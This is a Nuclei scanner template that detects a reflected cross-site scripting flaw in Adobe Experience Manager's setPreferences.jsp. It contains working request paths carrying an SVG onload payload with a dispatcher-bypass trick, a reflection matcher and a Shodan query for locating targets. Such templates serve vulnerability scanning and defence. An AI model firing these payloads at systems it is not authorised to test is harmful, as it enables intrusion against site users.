id: aem-setpreferences-xss

info:
  name: Adobe Experience Manager - Cross-Site Scripting
  author: zinminphy0,dhiyaneshDK
  severity: high
  description: Adobe Experience Manager contains a cross-site scripting vulnerability via setPreferences.
  reference:
    - https://www.youtube.com/watch?v=VwLSUHNhrOw&t=142s
    - https://github.com/projectdiscovery/nuclei-templates/issues/3225
    - https://twitter.com/zin_min_phyo/status/1465394815042916352
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
    cpe: cpe:2.3:a:adobe:experience_manager:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    shodan-query: http.component:"Adobe Experience Manager"
    product: experience_manager
    vendor: adobe
  tags: aem,xss,misconfig,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/crx/de/setPreferences.jsp;%0A.html?language=en&keymap=<svg/onload=confirm(document.domain);>//a"
      - "{{BaseURL}}/content/crx/de/setPreferences.jsp;%0A.html?language=en&keymap=<svg/onload=confirm(document.domain);>//a"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<svg/onload=confirm(document.domain);>"
          - 'A JSONObject text must begin with'
        condition: and

      - type: status
        status:
          - 400
# digest: 490a00463044022033e8f9d0e51678cece886f18206dcc5ad445b4f021bbbd938c8a94692dfd990302207049b77ffaf57f4be444966e8f2b7ad570fd6056eba61a4a46ccbf588caba211:922c64590222798bb761d5b6d8e72950